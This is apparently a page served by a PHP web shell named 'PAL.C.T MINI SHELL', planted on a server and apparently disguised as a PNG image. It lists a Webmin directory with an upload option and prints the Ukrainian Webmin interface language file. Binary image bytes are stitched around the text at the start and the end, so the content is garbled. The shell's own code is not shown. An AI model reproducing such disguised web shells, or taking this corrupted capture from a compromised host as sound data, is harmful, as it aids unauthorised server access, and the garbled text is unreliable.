php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/lang/
upload
files >> //usr/libexec/webmin/lang/uk

main_homepage=Домашня сторінка
main_feedback=Відгук..
main_switch=Змінити користувача..
main_logout=Вийти
main_version=Версія $1 на $2 ($3)
main_title=Webmin $1 на $2 ($3)
main_title2=Webmin
main_none=У вас немає прав доступу до жодного з модулів Webmin.
main_skill=Досвід
main_readonly=(Права лише на читання)
main_return=Повернутись до $1

link_essl=Для створення HTTPS з'єднання потрібен модуль Perl Net::SSLeay Perl, що не встановлений на вашій системі

category_servers=Сервери
category_hardware=Пристрої
category_system=Система
category_webmin=Webmin
category_net=Мережа
category_syslet=Сислети
category_cluster=Кластер
category_info=Інформація

longcategory_servers=Модулі для налаштування web, email, FTP та інших серверів
longcategory_hardware=Модулі для принетрів, жорстких дисків та налаштувань інших пристроїв
longcategory_system=Модулі для користувачів, файлових систем, планувань(Cron jobs) та інших системних налаштувань
longcategory_webmin=Модулі для налаштування самого Webmin
longcategory_net=Модулі для налаштування мережі й мережевих сервісів
longcategory_cluster=Модулі для адміністрування кількох серверів через одну оболонку
longcategory_info=Модулі для відображення інформації про систему

header_webmin=Головне меню Webmin
header_module=Меню модуля
header_help=Довідка..
header_config=Налаштування модуля
header_servers=Сервери Webmin

index=індекс
yes=Так
no=Ні
save=Зберегти
create=Створити
delete=Видалити
find=Знайти
error=Помилка
error_previous=попередня сторінка
error_stack=Помилка звернення до стеку
error_file=Файл
error_line=Рядок
error_sub=Функція
error_stackline=У файлі $1 в рядку $2 при виконанні $3
efilewrite=Не можу записать в $1 : $2
efileclose=Помилка запису $1 при закритті : $2
efileopen=Помилка при відкритті $1 для запису : $2
default=За замовчуванням
modify=Змінити
reset=Скинути
ok=OK
cancel=Скасувати
helpsearch=Знайти документацію..
switch_remote_euser=Користувача UNIX $1 не існує.
programname=Webmin

chooser_title1=Вибір файла..
chooser_title2=Вибір теки..
chooser_dir=Тека $1
chooser_ok=Ok
chooser_date=Вибрати дату

users_title1=Вибір користувачів..
users_title2=Вибір користувача..
users_sel=Обрані користувачі
users_all=Всі користувачі
users_ok=Ok
users_cancel=Скасувати
users_clear=Почистити

groups_title1=Вибір груп..
groups_title2=Вибір групи..
groups_all=Всі групи
groups_sel=Обрані групи
groups_ok=Ok
groups_cancel=Скасувати
groups_clear=Почистити

modules_title1=Обрати модулі..
modules_title2=Обрати модуль..
modules_sel=Обрані модулі
modules_all=Всі модулі
modules_ok=Ok
modules_cancel=Скасувати
modules_clear=Почистити

config_ecannot=Вам бракує прав для налаштування цього модуля
config_title=Налаштування
config_dir=модуля $1
config_header=Налаштування модуля $1
config_none=Жодного
config_eaccess=Вам бракує прав для доступу до цього модуля
config_err=Не можу зберегти налаштування
config_nochange=Не змінювати
config_setto=Встановити
config_ewebmin=У Webmin працюють лише параметри типу 14

help_err=Не можу вивести довідку
help_epath=Шлях до довідки відсутній або невірний
help_efile=Не можу прочитати файл довідки $1
help_eheader=Відсутній <заголовок> розділу
help_einclude=Не можу під'єднати $1
help_eif=Помилка $1 : $2
help_eexec=Помилка $1 : $2

referer_title=Попередження про небезпеку
referer_warn=<b>Увага!</b> Посилання на програму $2 знаходиться поза сервером Webmin(URL = $1). Можливо це спроба обманути вас і запустити небезпечну команду.
referer_warn_unknown=<b>Увага!</b> Посилання на програму $1 знаходиться за невідомою адресою поза сервером Webmin. Можливо це спроба обманути вас і запустити небезпечну команду.<b>Внимание!</b>

session_header=Вхід у Webmin
session_mesg=Для входу на сервер Webmin на $1 необхідно вказати ім'я користувача і пароль.
session_mesg2=Для входу необхідно вказати ім'я користувача й пароль.
session_user=Ім'я користувача
session_pass=Пароль
session_login=Вхід
session_clear=Почистити
session_failed=Вхід не вдався. Спопробуйте ще.
session_logout=Вихід успішний. Заходьте ще.
session_timed_out=Сесію автоматично завершено після $1 хвилин простою.
session_save=Зберегти ім'я користувачі й пароль?

pam_header=Увійти до Webmin
pam_mesg=Ви повинні відповісти на питання (нижче) для входу до Webmin на $1.
pam_mesg2=Ви повинні відповісти на питання (нижче) для входу.
pam_login=Продовжити
pam_restart=Перезапустити

acl_root=Коренева тека
acl_nodot=Сховати файли, що почитнаються з крапки (dot files) у виборі файлів?
acl_home=Домашня тека користувача
acl_uedit=Видимі користувачі
acl_uedit_all=Всі користувачі
acl_uedit_none=Жодного користувача
acl_uedit_only=Лише вказані користувачі
acl_uedit_except=Всі користувачі без вказаних
acl_uedit_uid=Користувачі з UID в діапазоні
acl_uedit_group=Користувачі з групою
acl_gedit=Видимі групи
acl_gedit_all=Всі групи
acl_gedit_none=Жодної групи
acl_gedit_only=Лише вказані групи
acl_gedit_except=Всі групи без вказаних
acl_gedit_gid=Групи з GID у діапазоні
acl_feedback=Відправляти листи з відгуками?
acl_feedback2=Так
acl_feedback1=Так, але без файлів налаштувань
acl_feedback0=Ні
acl_feedback3=Так, з файлами налаштувань
acl_rpc=Приймати RPC запити?
acl_rpc2=Лише для <tt>root</tt> або <tt>admin</tt>
acl_rpc1=Так
acl_rpc0=Ні

month_1=Січень
month_2=Лютий
month_3=Березень
month_4=Увітень
month_5=Травень
month_6=Червень
month_7=Липень
month_8=Серпень
month_9=Вересень
month_10=Жовтень
month_11=Листопад
month_12=Грудень

day_0=Неділя
day_1=Понеділок
day_2=Вівторок
day_3=Середа
day_4=Четвер
day_5=П'ятниця
day_6=Субота

smonth_1=Січ
smonth_2=Лют
smonth_3=Бер
smonth_4=Кві
smonth_5=Тра
smonth_6=Чер
smonth_7=Лип
smonth_8=Сер
smonth_9=Вер
smonth_10=Жов
smonth_11=Лис
smonth_12=Гру

sday_0=Нд
sday_1=Пн
sday_2=Вт
sday_3=Ср
sday_4=Чт
sday_5=Пт
sday_6=Сб

emodule=У доступі відмовлено : Користувачу $1 бракує прав на використання модуля $2

skill_high=Профі
skill_medium=Досвідчений
skill_low=Початківець

feedback_title=Відгук про Webmin
feedback_desc=Ця форма дозволяє звітувати про недоліки й подавати ідеї розробникам Webmin. Ми будемо вдячні за слушні зауваження та корисні поради. Натиснувши кнопку Надіслати (Send), ви відправите введені дані на електронну пошту $1.
feedback_desc2=Відгук буде надіслано розробникам Usermin, НЕ вашому адміністраторуr, ISP- чи Хостинг-компанії. Будь ласка пишіть відгук англійською навіть якщо зараз використовуєте перекладений Webmin.
feedback_header=Дедалі відгуку
feedback_name=Ваше ім'я
feedback_email=Ваша електронна адреса
feedback_module=Regarding module
feedback_all=Всі модулі
feedback_text=Опис проблеми чи ваші пропозиції
feedback_os=Долучити до листа інформацію про операційну систему?
feedback_osdesc=Надавати у відгуку інформацію про вашу операційну систему.
feedback_config=Вкласти налаштування модуля в лист?
feedback_configdesc=Надсилати у відгуку інформацію про налаштування відповідного модуля і вміст усіх файлів, котрі він використовує. Для прикладу якщо відгук стосується модуля <i>Користувачі й Групи (Users and Groups)</i>, буде відіслано файли з <tt>/etc/passwd</tt> і <tt>/etc/shadow</tt>.
feedback_attach=Додати файли
feedback_send=Надіслати відгук
feedback_mailserver=Надіслати через SMTP-сервер
feedback_mailserver_def=Локальна sendmail програма
feedback_err=Не можу надіслати відгук
feedback_emodule=Ви долучили налаштування модуля до відгуку, але не вказали самого модуля.
feedback_emodule2=Обраного модуля не існує
feedback_econfig=У вас немає повного доступу до обраного модуля.
feedback_via=Надіслати відгук на $1 через SMTP-сервер $2
feedback_prog=Послати відгук щодо $1 використовуючи sendmail $2
feedback_esend=Не можу надіслати відгук через sendmail програму або локальний SMTP-сервер.
feedback_to=Надіслати відгук на адреси
feedback_enoto=Не введено адрес для надсилання відгуків
feedback_ecannot=Вам не дозволено надсилати відгуки
feedback_ecannot2=Вам не дозволено надсилати відгуки із вкладеними файлами налаштувань

progress_nosize=Завантажено $1 ..
progress_done=.. завантаження завершено.
progress_incache=Знайдено $1 в кеші ..

readparse_cdheader=Відсутня інформація про розташування вмісту (Content-Disposition)
readparse_enc=Очікувалось кодування як для даних з форми, але отримано звичайне
readparse_max=Дані перевищели максимальний розмір ($1 bytes)

password_expired=Термін дії вашого паролю закінчився, ви повинні вказати новий.
password_header=Вибір нового паролю
password_user=Ім'я користувача
password_old=Поточний пароль
password_new1=Новий пароль
password_new2=Ще раз
password_ok=Змінити
password_clear=Почистити
password_done=Ваш пароль успішно змінено. Тепер <a href='$1'>увійдіть</a> з новим паролем.
password_err=Не можу змінити пароль
password_euser=Ваше ім'я користувача не знайдено в файлі паролів!
password_eold=Поточний пароль невірний
password_enew1=Ви не ввели нового паролю
password_enew2=Новий пароль і його повтор не співпадають
password_epam=Помилка PAM : $1
password_emodpam=Для зміни паролю потрібен модуль Perl Authen::PAM, який не встановлено!

ui_mandatory=Це поле обов'язкове
ui_checkmandatory=Ви нічого не обрали!
ui_errors=Знайдено помилки :
ui_nothing=Ви нічого не ввели!
ui_searchcol=Знайти рядки, в яких
ui_searchfor=Містить текст
ui_searchok=Шукати
ui_selall=Обрати все.
ui_selinv=Інвертувати вибір.
ui_edate=Невірна дата
ui_etime=Невірний час
ui_paging=Показано рядки від $1 до $2 з $3
ui_rowlabel=$2 в рядку $1 :

header_statusmsg=$1 увійшов в $2 $3 на $4 ($5)

uptracker_title=Завантаження файла на сервер
uptracker_file=Ім'я файла
uptracker_size=Розмір
uptracker_pc=Виконано
uptracker_eid=Не визначено ID завантаження
uptracker_eid2=ID завантаження невірне!
uptracker_of=$1 з $2
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`